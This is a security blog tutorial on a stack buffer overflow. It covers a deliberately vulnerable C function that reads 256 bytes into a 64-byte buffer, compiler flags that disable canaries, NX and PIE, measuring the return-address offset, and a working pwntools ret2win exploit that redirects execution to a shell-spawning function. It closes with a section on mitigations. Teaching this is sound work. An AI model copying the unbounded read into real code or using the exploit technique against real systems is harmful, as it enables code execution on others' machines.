---
title: "Stack Buffer Overflow: From Segfault to RIP Control (Ret2win)"
description: "The non-AD half of the journey: a 64-byte stack buffer, an unbounded read, and the exact steps that turn a segfault into control of the instruction pointer. Compiled live in a Linux container, with the one gotcha — the return address is not where the naive math says it is."
date: 2026-11-06
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/stack-buffer-overflow-ret2win/
---

## The other half of the box

The Active Directory series covers the Windows half of a compromise. This is the other half: a program on a Linux box that trusts its input, and the mechanical steps that turn "it crashed" into "I control the instruction pointer." It is the same shape as everything else I write — **enumerate, exploit, then say what it left behind** — except the target is one stack frame instead of one domain.

I do this in a Linux container with `gcc` and `pwntools`, because that is the environment the technique actually lives in.

## A 64-byte buffer that reads 256

The vulnerability is deliberately small so the whole thing fits in one look. `parse_session_hdr` declares a 64-byte buffer and reads up to 256 bytes into it:

```c
void parse_session_hdr() {
    char token[64];
    int n = read(0, token, 256);   // 256 bytes into a 64-byte buffer
    write(1, "[*] parsed: ", 12);
    write(1, token, n);
}
```

The compiler even says so at build time: `warning: 'read' writing 256 bytes into a region of size 64 overflows the destination`. Real vulnerabilities are exactly this boring — a size check that is missing, or a size constant that is wrong.

I compile it with the modern mitigations turned off so the mechanics are visible:

```bash
$ gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none -o authd authd.c
```

Then `checksec` tells me what I am working with:

```bash
$ checksec ./authd
    Arch:       amd64-64-little
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
```

**No canary**, **no PIE**, and an **executable stack**. Each of those is a guard that is now absent, and naming them is the part that generalizes: a canary catches the overwrite before it hits the return address, PIE randomizes the code base, and NX would stop me from executing data I place on the stack. With all three off, the only question is the offset.

## The offset is not what the math says

The naive calculation is `64 (buffer) + 8 (saved RBP) = 72`. Feed 72 `A`s, then an address, and you are supposed to control RIP. It does not work that way here — the process just returns normally. Feed the payload a bit longer and it segfaults:

```bash
$ ./authd < <(python3 -c "print('A'*200)")
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation fault (core dumped)
```

The reason the naive offset is wrong is that the compiler pads the stack frame for alignment, so the return address is not at `buffer + 72`. Iterating payload lengths until control actually lands on a chosen address pins it at **88**:

```bash
offset  64: no (rc=0)
offset  72: no (rc=0)
offset  88: WIN
offset  96: no (rc=-11)
```

That table is the lesson. `64 + 8` is a guess, not an offset. The real number comes from watching where the crash happens — with a cyclic pattern (`cyclic 200` / `cyclic_find`) in a normal lab, or by simply iterating when you do not have a debugger attached. The point is to *measure* the offset, not assume it.

## Ret2win: point RIP at the flag

The target binary has a `win()` function it never calls. That is the entire objective — overwrite the return address so that `ret` lands inside `win()`:

```python
from pwn import *

e = ELF("./authd")
win = e.symbols["win"]        # 0x401166
offset = 88
payload = b"A" * offset + p64(win)

p = process("./authd")
p.send(payload)
print(p.recvall(timeout=2).decode(errors="replace"))
```

Eighty-eight `A`s fill the buffer, the padding, and the saved base pointer; the next eight bytes overwrite the return address with `0x401166`; and when `parse_session_hdr` returns, execution jumps into `win()`:

```bash
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...f@
[+] win() reached - RIP is yours
```

That single line is the whole payoff: the instruction pointer is now under attacker control. `win()` calls `system("/bin/sh")`, so in a real engagement that line is the moment a shell drops.

## The mitigations are the real content

Turning the three guards back on changes the problem completely:

- **Canary** (`-fstack-protector`): a random value sits between the buffer and the return address; the crash happens *before* `ret`, so a blind overwrite is detected, not executed.
- **NX** (non-executable stack): even with RIP control you cannot jump to shellcode you placed on the stack; you need ROP or a return-to-libc.
- **PIE + ASLR**: the code base moves every run, so a hardcoded address like `0x401166` is worthless; you need a leak first.

Every one of those is a control an operator can turn on with a compile flag or a sysctl, which is the defensive half of this note.

## Summary

| Step | Command / result |
| --- | --- |
| Build the target | `gcc -fno-stack-protector -z execstack -no-pie ...` |
| Inspect mitigations | `checksec` → no canary, no PIE, RWX stack |
| Prove the overflow | 200 `A`s → `Segmentation fault` |
| Measure the offset | 88, not the naive 72 |
| Redirect RIP | `b"A"*88 + p64(win)` → `[+] win() reached` |

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Stack buffer overflow layout in a 64-bit ELF frame: 64-byte token buffer, 16 bytes of compiler alignment padding, and 8-byte saved RBP equal an 88-byte offset before overwriting the saved RIP with the win() function address.">
<defs><marker id="bo1" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">STACK FRAME LAYOUT · MEASURED 88-BYTE OFFSET TO SAVED RIP</text>
<rect x="0" y="40" width="220" height="120" rx="8" class="dg-box" />
<text x="14" y="66" class="dg-label">1 · Frame buffer</text>
<text x="14" y="88" class="dg-mono dg-compact">token[64] + 16B pad</text>
<text x="14" y="108" class="dg-muted">read(0, token, 256)</text>
<line x1="220" y1="100" x2="262" y2="100" class="dg-line-crit" marker-end="url(#bo1)" />
<rect x="266" y="40" width="230" height="120" rx="8" class="dg-box-accent" />
<text x="280" y="66" class="dg-label">2 · Saved RBP (+80..88)</text>
<text x="280" y="88" class="dg-mono dg-compact">88 bytes total prefix</text>
<text x="280" y="108" class="dg-muted">compiler alignment gap</text>
<line x1="496" y1="100" x2="538" y2="100" class="dg-line-crit" marker-end="url(#bo1)" />
<rect x="542" y="40" width="218" height="120" rx="8" class="dg-box-danger" />
<text x="556" y="66" class="dg-label">3 · Saved RIP (+88)</text>
<text x="556" y="88" class="dg-mono dg-compact">p64(0x401166) → win()</text>
<text x="556" y="108" class="dg-crit">instruction pointer hijack</text>
</svg>
<figcaption>Why naive math fails: 16 bytes of compiler stack alignment sit between the 64-byte buffer and the 8-byte saved RBP, placing the return address at offset 88.</figcaption>
</figure>

## Evidence and limits

The vulnerable `authd` binary was compiled and exploited inside an isolated x86-64 Linux container (`gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none`) to demonstrate the raw stack-frame geometry without mitigation noise. Modern Linux distributions enable stack canaries, NX, PIE, and ASLR by default, which prevent a direct fixed-address `ret2win` overwrite without a separate information leak and ROP chain.

## References

- **Felix Cloutier, x86 Instruction Reference:** [felixcloutier.com/x86](https://www.felixcloutier.com/x86/)
- **pwntools:** [github.com/Gallopsled/pwntools](https://github.com/Gallopsled/pwntools)
- **OWASP, Buffer Overflow Attack:** [owasp.org](https://owasp.org/www-community/attacks/Buffer_overflow_attack)
- **MITRE ATT&CK, Exploitation for Client Execution (T1203):** [attack.mitre.org/techniques/T1203](https://attack.mitre.org/techniques/T1203/)
- **Linux man-pages, proc_sys_kernel (5):** [man7.org](https://man7.org/linux/man-pages/man5/proc_sys_kernel.5.html)